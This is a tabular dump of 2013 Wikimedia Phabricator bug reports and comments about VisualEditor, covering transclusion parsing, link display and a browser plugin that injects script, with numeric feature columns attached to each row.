Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
URL
URL

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
``CODE``"
254250,Transcluded pages quasi-template eats into subsequent entry,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
   e.g. https://en.wikipedia.org/wiki/Howes?veaction=edit

Some impact analysis for the next set of wikis in line for VE deployment:

dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
 - not all of those suffer from the second issue raised; 
   sometimes they have whitespace between transclusion and the next item
   e.g. https://de.wikipedia.org/wiki/Kalam?veaction=edit

frwp,hewp,nlwp: between 1&4 pages transcluding mainspace

svwp: 250, all dab pages

ruwp: 1616, all dab pages - i.e. 0.15% of all content pages
  Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
https://ru.wikipedia.org/wiki/%D0%9B%D0%BB%D0%BE%D0%B9%D0%B4?veaction=edit
https://ru.wikipedia.org/wiki/Lloyd%E2%80%99s

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
select count(*)
from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
where  tl_namespace = 0
and    page_namespace = 0
and    tl_from in 
  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
;",,,1374649444,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,3,,2.6666666666666665,0.0,0.0,0.3333333333333333,1.0,4.0,0.3333333333333333,0.0,0.0,0.3333333333333333,3.0,1.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.6666666666666666,4.333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,19.333333333333332,1.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,3.0,1.3333333333333333,5.333333333333333,1.3333333333333333,1.0,7.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,4.333333333333333,0.0,2.0,9.0,5.333333333333333,0.0,1.3333333333333333,0.0,2.0,0.0,2.0,1.0,0.3333333333333333,1.0,0.0,0.0,1.0,3.668376068376068,0.6837606837606837,"This is not really a problem that affects enwp.  If my SQL is right, enwp has only 14 dab pages that transclude mainspace - easily a manual fixup task, esp. when some look of them look like this:
   e.g. URL

Some impact analysis for the next set of wikis in line for VE deployment:

dewp: 22226 content pages transcluding mainspace - i.e. 1.4% of all 'content pages', of which 9012 are dab pages - i.e. 0.5% of all content pages
 - not all of those suffer from the second issue raised; 
   sometimes they have whitespace between transclusion and the next item
   e.g. URL

frwp,hewp,nlwp: between 1&4 pages transcluding mainspace

svwp: 250, all dab pages

ruwp: 1616, all dab pages - i.e. 0.15% of all content pages
  Looking at a Russian example; it doesnt face the second problem raised in comment 1; the last item on this dab page is not consumed by the {{:Lloyd's}} above it.
URL
URL

ruwp uses noinclude instead of onlyinclude.

My SLQ on dewp:
select count(*)
from   templatelinks tl inner join page p on (tl.tl_from = p.page_id)
where  tl_namespace = 0
and    page_namespace = 0
and    tl_from in 
  (select cl_from from categorylinks where cl_to =  'Begriffsklärung')
;"
254246,Transcluded pages quasi-template eats into subsequent entry,"Relevant wikitext excerpt:

| {{:Christian Delius}}
| <!-- Änderungen bitte dort vornehmen, siehe unterhalb des Bearbeitungsfensters -->
| * [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin

Yeah, this is because the HTML comment and <li> in the wikitext below the template insert themselves into the implicit <ul> that the template creates (and so get marked as part of the same ""MediaWiki transclusions"" generated content block as the template by Parsoid.

I'm not sure what Parsoid could do to ""fix"" this, really. It's correct parsing of broken-by-design wikitext (which doesn't seem obvious if you're not parsing it).",,,1374645296,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,2.0,4.0,0.5,0.5,0.0,0.5,2.0,2.0,0.0,0.0,0.0,0.5,0.0,5.0,8.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,4.0,0.0,1.5,0.5,0.5,0.5,0.5,1.5,0.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,4.0,0.5,9.0,2.0,1.0,6.0,0.0,0.0,0.5,0.0,3.5,0.5,1.0,0.0,3.5,8.5,6.5,0.0,3.0,0.0,3.5,0.0,1.5,0.0,0.5,0.5,0.0,0.0,6.5,3.744197108066971,0.7450532724505328,"Relevant wikitext excerpt:

| {{:Christian Delius}}
| <!-- Änderungen bitte dort vornehmen, siehe unterhalb des Bearbeitungsfensters -->
| * [[Christina Rau]], geb. Delius (* 1956), deutsche Politologin

Yeah, this is because the HTML comment and <li> in the wikitext below the template insert themselves into the implicit <ul> that the template creates (and so get marked as part of the same ""MediaWiki transclusions"" generated content block as the template by Parsoid.

I'm not sure what Parsoid could do to ""fix"" this, really. It's correct parsing of broken-by-design wikitext (which doesn't seem obvious if you're not parsing it)."
254243,Transcluded pages quasi-template eats into subsequent entry,"The cited example is
https://de.wikipedia.org/wiki/Delius?veaction=edit

The entry 'Christina Rau' is not editable, as VE believes it is part of the 'template' {{:Christian Delius}}

Possibly because the onlyinclude on
https://de.wikipedia.org/w/index.php?title=Christian_Delius&action=edit",,,1374539843,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-ax4pkg2fcq3uwnfjn5h5,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,7.0,23.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,14.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.511627906976744,0.7209302325581395,"The cited example is
URL

The entry 'Christina Rau' is not editable, as VE believes it is part of the 'template' {{:Christian Delius}}

Possibly because the onlyinclude on
URL"
53103,VisualEditor: Auto-external links to image files which are broken (404/etc.) display as the filename and cannot be edited,"When a raw URL with no markup (e.g. http://www.sucs.org/~cmckenna/photos/quizes/tq2012/July/Jun03key.png ) ends in .png, .jpg, .svg or .gif [capitalisation variants not tested] but does not work (e.g. it gives a 404 error) then only the filename portion of the URL (Jun03key.png in this example) is displayed in the visual editor. Visual editor cannot then edit this URL to correct it, meaning that typos, etc cannot be corrected without using the source editor.

Links to other image formats (e.g. tif), html pages, .txt files and pdf files, and all urls enclosed in single bracket markup work as expected and are editable in the Visual editor. See https://en.wikipedia.org/w/index.php?title=User:Thryduulf/sandbox2&oldid=563642435 for my sandbox testing.

This is not unlikely related to bug 51092 in some way.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373450100,1373480408.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,,False,PHID-TASK-rzacfnoggbzshwb2qnc6,task_description,resolved,True,c1,3,False,False,True,1,,1.0,0.0,0.0,1.5,2.5,6.0,0.5,0.0,0.0,0.0,5.5,0.0,0.0,0.5,0.0,0.5,0.0,7.0,8.5,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,0.0,3.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.5,17.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,8.0,1.0,3.0,7.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,1.5,8.5,3.5,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,1.0,3.82226738934056,0.7055103884372177,"When a raw URL with no markup (e.g. URL ) ends in .png, .jpg, .svg or .gif [capitalisation variants not tested] but does not work (e.g. it gives a 404 error) then only the filename portion of the URL (Jun03key.png in this example) is displayed in the visual editor. Visual editor cannot then edit this URL to correct it, meaning that typos, etc cannot be corrected without using the source editor.

Links to other image formats (e.g. tif), html pages, .txt files and pdf files, and all urls enclosed in single bracket markup work as expected and are editable in the Visual editor. See URL for my sandbox testing.

This is not unlikely related to bug 51092 in some way.

--------------------------
**Version**: unspecified
**Severity**: normal"
253451,VisualEditor: Auto-external links to image files which are broken (404/etc.) display as the filename and cannot be edited,"This will be entirely fixed by bug 51092 being fixed (well, theoretically if a site administrator wants to have VE but also $wgAllowExternalImages set true, it'd be a problem, but we'll have fixed this issue with a forthcoming re-write of image handling anyway before we've shipped VE as stable).

Marking as a duplicate.

*** This bug has been marked as a duplicate of bug 51092 ***",,,1373480408,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rzacfnoggbzshwb2qnc6,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,1.0,4.0,0.0,4.0,1.0,0.0,0.0,1.0,4.0,4.0,1.0,0.0,0.0,2.0,0.0,7.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,6.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,12.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,3.764705882352941,0.6705882352941176,"This will be entirely fixed by bug 51092 being fixed (well, theoretically if a site administrator wants to have VE but also $wgAllowExternalImages set true, it'd be a problem, but we'll have fixed this issue with a forthcoming re-write of image handling anyway before we've shipped VE as stable).

Marking as a duplicate.

*** This bug has been marked as a duplicate of bug 51092 ***"
53094,Editing adds JavaScript,"I just attempted to make https://www.mediawiki.org/w/index.php?title=Lua_scripting&diff=728272&oldid=728271 with VisualEditor and got https://www.mediawiki.org/w/index.php?title=Lua_scripting&diff=728270&oldid=664107 instead.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373430900,1373724208.0,PHID-USER-kc6qx3zohjybu3nzffu3,False,,False,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_description,invalid,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.129032258064516,0.6774193548387096,"I just attempted to make URL with VisualEditor and got URL instead.

--------------------------
**Version**: unspecified
**Severity**: normal"
252900,Editing adds JavaScript,"(In reply to comment #2)
> How would the addition be the plugin's fault? It isn't added in the normal
> edit
> box, or in any other boxes at that.

Your browser's plug-in is inserting HTML into contentEditable <div>s. Some example complaints from around the Web:

* http://wordpress.org/support/topic/appears-after-url-and-unknown-script-inserted
* http://www.joomlaportal.de/joomla-2-5-allgemeine-fragen/291114-automatische-scriptinstallation-foxlingojs.html
* http://www.bluestonedesign.de/faq/20-sonstige-fragen/376-foxlingojs-script-in-joomla-und-wordpress-beitraegen
* http://doc.eklablog.com/blog-de-texte-bizarre-topic48844
* http://forum.wpde.org/allgemeines/108364-foxlingo-script-evtl-schadsoftware-wer-kennt-es.html
* https://drupal.org/node/1871476

There is nothing sane that VisualEditor can do to stop your broken browser, except to ask you here to stop using it. (Though I'd recommend use of a global AbuseFilter to prevent this and similar corruptions of wikis' content.)

Reclosing.",,,1373724208,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,True,,,1,,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,0.0,1.0,11.5,1.0,4.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,0.0,1.5,0.0,1.0,1.0,2.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,1.5,13.0,3.0,1.0,3.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,4.5,11.5,8.5,0.0,1.0,0.0,4.5,0.0,0.0,1.0,0.0,2.5,0.0,0.0,1.0,3.5094339622641506,0.7641509433962264,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

Your browser's plug-in is inserting HTML into contentEditable <div>s. Some example complaints from around the Web:

* URL
* URL
* URL
* URL
* URL
* URL

There is nothing sane that VisualEditor can do to stop your broken browser, except to ask you here to stop using it. (Though I'd recommend use of a global AbuseFilter to prevent this and similar corruptions of wikis' content.)

Reclosing."
252894,Editing adds JavaScript,"How would the addition be the plugin's fault? It isn't added in the normal edit box, or in any other boxes at that.",,,1373693982,,PHID-USER-kc6qx3zohjybu3nzffu3,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,False,,,1,,4.0,0.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,7.0,4.0,4.0,18.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3214285714285716,0.8928571428571429,"How would the addition be the plugin's fault? It isn't added in the normal edit box, or in any other boxes at that."
252886,Editing adds JavaScript,"From a quick Google, this is a faulty browser plugin of some kind, FoxLingoJs.",,,1373521024,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cj43kd2u4kzkuq6rlhnu,task_subcomment,,True,c1,3,True,,,1,,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,18.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.823529411764706,0.8823529411764706,"From a quick Google, this is a faulty browser plugin of some kind, FoxLingoJs."
53077,"VisualEditor: Link inspector blown to pieces when pressing return after clicking ""Insert link"" (before the inspector has finishes opening)","Screenshot of ripped-apart link inspector

I can consistently reproduce the following:

* Select an unlinked word
* Create the insert link button (with intention to turn the word into a link)
* If you hit Return immediately after (before it has finished opening) it will replace the focussed node with a new line. Though that is a separate bug and arguably an invalid use case (why would one be pressing Return at this point, the user hasn't even seen the options yet. It interpreting it as intend to replace the node isn't entirely unreasable, but that's a separate bug - bug 51075).
* At this point the link inspector dom has blown up. Part of it is gone, and the other part is left half-way across the screen at a seemingly arbitrary offset (see attachment).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11776}",Needs Triage,90.0,1373411220,1373411601.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-j4lztgmjyrotthez4ft5,task_description,resolved,True,c1,3,True,False,True,1,,0.0,0.0,0.5,1.0,1.0,5.5,0.5,0.0,0.5,0.5,0.5,1.0,0.0,0.0,0.0,0.5,0.5,5.5,8.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.5,1.0,0.0,4.0,1.0,2.5,0.0,0.5,0.0,0.0,0.5,0.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,14.0,1.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.5,2.5,7.5,1.5,1.5,10.5,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,4.0,8.0,3.0,0.0,0.0,0.0,4.0,0.0,0.5,3.5,0.0,1.5,0.0,0.0,0.0,3.786458333333333,0.7239583333333334,"Screenshot of ripped-apart link inspector

I can consistently reproduce the following:

* Select an unlinked word
* Create the insert link button (with intention to turn the word into a link)
* If you hit Return immediately after (before it has finished opening) it will replace the focussed node with a new line. Though that is a separate bug and arguably an invalid use case (why would one be pressing Return at this point, the user hasn't even seen the options yet. It interpreting it as intend to replace the node isn't entirely unreasable, but that's a separate bug - bug 51075).
* At this point the link inspector dom has blown up. Part of it is gone, and the other part is left half-way across the screen at a seemingly arbitrary offset (see attachment).

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11776}"
252015,"VisualEditor: Link inspector blown to pieces when pressing return after clicking ""Insert link"" (before the inspector has finishes opening)","

*** This bug has been marked as a duplicate of bug 49941 ***",,,1373411601,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-j4lztgmjyrotthez4ft5,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49941 ***"
53072,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"**Author:** `FT2.wiki`

**Description:**
Tried to add {{cn}} to an article, visual editor silently added NOWIKI../NOWIKI tags on saving, which had to be manually removed.

http://en.wikipedia.org/w/index.php?title=XFS&diff=563579994&oldid=562618140

Unclear if this is the same or different as other <nowiki> issues on bugzilla

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373406240,1373409131.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-eedu2jxaz76eztsst6ep,task_description,invalid,True,c1,3,False,False,True,1,,0.0,0.0,0.0,1.0,0.0,8.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,11.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,9.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.575,0.675,"**Author:** CODE

**Description:**
Tried to add {{cn}} to an article, visual editor silently added NOWIKI../NOWIKI tags on saving, which had to be manually removed.

URL

Unclear if this is the same or different as other <nowiki> issues on bugzilla

--------------------------
**Version**: unspecified
**Severity**: normal"
251678,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"Closing as INVALID (this is not a bug, this is exactly expected behaviour). Please re-open if we have mis-judged.",,,1373409131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eedu2jxaz76eztsst6ep,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,4.0,0.0,11.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,3.392857142857143,0.8571428571428571,"Closing as INVALID (this is not a bug, this is exactly expected behaviour). Please re-open if we have mis-judged."
251673,Adding a {{cn}} template causes VisualEditor to silently add <nowiki>..</nowiki> to the edited paragraph,"Did you type the text ""{{cn}}"" into the editor directly? In that case this is correct behavior: we did what was needed to make the literal text ""{{cn}}"" appear.

To insert a template in VE you'll need to use the puzzle piece icon in the toolbar. Typing wikitext directly into the editor is deliberately not supported.",,,1373406615,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-eedu2jxaz76eztsst6ep,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,3.0,1.0,3.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,11.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,7.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,4.0,11.0,1.0,1.0,5.0,0.0,4.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.506666666666667,0.6666666666666666,"Did you type the text ""{{cn}}"" into the editor directly? In that case this is correct behavior: we did what was needed to make the literal text ""{{cn}}"" appear.

To insert a template in VE you'll need to use the puzzle piece icon in the toolbar. Typing wikitext directly into the editor is deliberately not supported."
53066,VisualEditor: Link input field identifiers in DOM are bogus,"corrupt <class> identifier in DOM for Link

see screenshot

what is this ""class""?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11753}",Needs Triage,90.0,1373398680,1375221769.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-dhjt3sejejdufp3ya2co,task_description,invalid,True,c1,3,False,False,True,1,,0.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.4583333333333335,0.6041666666666666,"corrupt <class> identifier in DOM for Link

see screenshot

what is this ""class""?

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11753}"
251306,VisualEditor: Link input field identifiers in DOM are bogus,"It's not corrupt, it's just empty.

jQuery doesn't remove the attribute when removing the last class. In this case, we add the class to make the input ""pending"" and then remove it when the AJAX call is done.

I don't think this is a real problem - if you have code that takes a different path based on whether the class attribute is set, has a non-empty value, or has a value, I suspect the first two cases should just be folded together.",,,1375221769,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-dhjt3sejejdufp3ya2co,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,2.5,2.0,7.5,1.0,0.0,0.0,1.0,0.5,1.5,0.0,0.0,0.0,2.0,0.0,6.0,4.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,2.0,1.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.5,0.0,1.5,0.0,1.0,0.0,0.0,0.5,0.0,0.5,2.5,0.0,1.0,0.0,1.5,0.0,8.5,3.5,3.0,3.0,1.5,10.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,4.5,4.0,1.0,0.0,1.0,0.0,4.5,0.0,2.0,4.0,0.0,1.0,0.0,0.0,0.0,3.5098039215686274,0.7647058823529411,"It's not corrupt, it's just empty.

jQuery doesn't remove the attribute when removing the last class. In this case, we add the class to make the input ""pending"" and then remove it when the AJAX call is done.

I don't think this is a real problem - if you have code that takes a different path based on whether the class attribute is set, has a non-empty value, or has a value, I suspect the first two cases should just be folded together."
53058,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"Reference editing on, for example, https://en.wikipedia.org/wiki/Friedrich_Nietzsche?veaction=edit, sometimes takes you to the wrong citation. I'm not sure what the problem is. My only current theory, as a luddite, is that the difficulties the VE/Parsoid has with references in templates may be responsible for a numbering screwup somehow between read and edit mode.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373395500,1385381556.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-weyb3zctidhjrppnilwj,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,1.0,9.0,3.0,0.0,0.0,0.0,3.0,1.0,0.0,1.0,0.0,3.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,10.0,1.0,1.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,11.0,3.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,3.0,0.0,0.0,0.0,4.139240506329114,0.7468354430379747,"Reference editing on, for example, URL sometimes takes you to the wrong citation. I'm not sure what the problem is. My only current theory, as a luddite, is that the difficulties the VE/Parsoid has with references in templates may be responsible for a numbering screwup somehow between read and edit mode.

--------------------------
**Version**: unspecified
**Severity**: normal"
250640,VisualEditor: reference editing bringing you to the wrong citation (template problem?),"Merging this with bug 50474.

